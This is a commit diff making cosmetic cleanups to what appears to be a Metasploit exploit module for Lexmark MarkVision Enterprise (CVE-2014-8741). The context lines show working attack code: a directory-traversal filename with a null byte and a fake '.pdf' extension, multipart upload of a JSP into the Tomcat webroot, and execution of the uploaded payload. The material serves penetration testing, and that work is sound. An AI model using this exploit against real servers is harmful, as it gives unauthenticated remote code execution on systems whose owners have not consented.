Do minor cleanups

Author: jvazquez-r7

modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb

@@ -15,10 +15,9 @@ def initialize(info = {})
     super(update_info(info,
       'Name'          => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
       'Description'   => %q{
-        This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1. A
-        directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated attacker
-        to upload arbitrary files. Since the embedded tomcat application server enables auto deploy
-        it's possible to upload a WAR file to achieve remote code execution. This module has been
+        This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
+        A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
+        attacker to upload arbitrary files, including arbitrary JSP code. This module has been
         tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
       },
       'Author'        =>
@@ -30,7 +29,8 @@ def initialize(info = {})
       'References'    =>
         [
           ['CVE', '2014-8741'],
-          ['ZDI', '14-410']
+          ['ZDI', '14-410'],
+          ['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
         ],
       'Privileged'    => true,
       'Platform'      => 'win',
@@ -40,7 +40,7 @@ def initialize(info = {})
           [ 'Lexmark Markvision Enterprise 2.0', { } ]
         ],
       'DefaultTarget'  => 0,
-      'DisclosureDate' => 'Jan 17 2012'))
+      'DisclosureDate' => 'Dec 09 2014'))
 
     register_options(
       [
@@ -70,16 +70,16 @@ def check
 
   def exploit
     jsp_leak = jsp_path
-    jsp_name_leak = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
+    jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
     # By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
     # Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
     traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
 
     print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
     if upload_file(traversal_leak, jsp_leak)
-      print_good("#{peer} - JSP successfully updated")
+      print_good("#{peer} - JSP successfully uploaded")
     else
-      fail_with(Failure::Unknown, "#{peer} - JSP update failed")
+      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
     end
 
     res = execute(jsp_name_leak)
@@ -96,12 +96,12 @@ def exploit
     jsp_payload = payload.encoded
     traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
 
-    print_status("#{peer} - Uploading JSP payload...")
+    print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
     if upload_file(traversal_payload, jsp_payload)
-      print_good("#{peer} - JSP successfully updated")
-      register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name))
+      print_good("#{peer} - JSP successfully uploaded")
+      register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
     else
-      fail_with(Failure::Unknown, "#{peer} - JSP update failed")
+      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
     end
 
     print_status("#{peer} - Executing payload...")
@@ -113,9 +113,9 @@ def upload_file(filename, contents)
     bad_signature = rand_text_alpha(4 + rand(4))
 
     post_data = Rex::MIME::Message.new
-    post_data.add_part(good_signature, nil, nil, "form-data; name=\"success\"")
-    post_data.add_part(bad_signature, nil, nil, "form-data; name=\"failure\"")
-    post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
+    post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
+    post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
+    post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
 
     res = send_request_cgi(
       {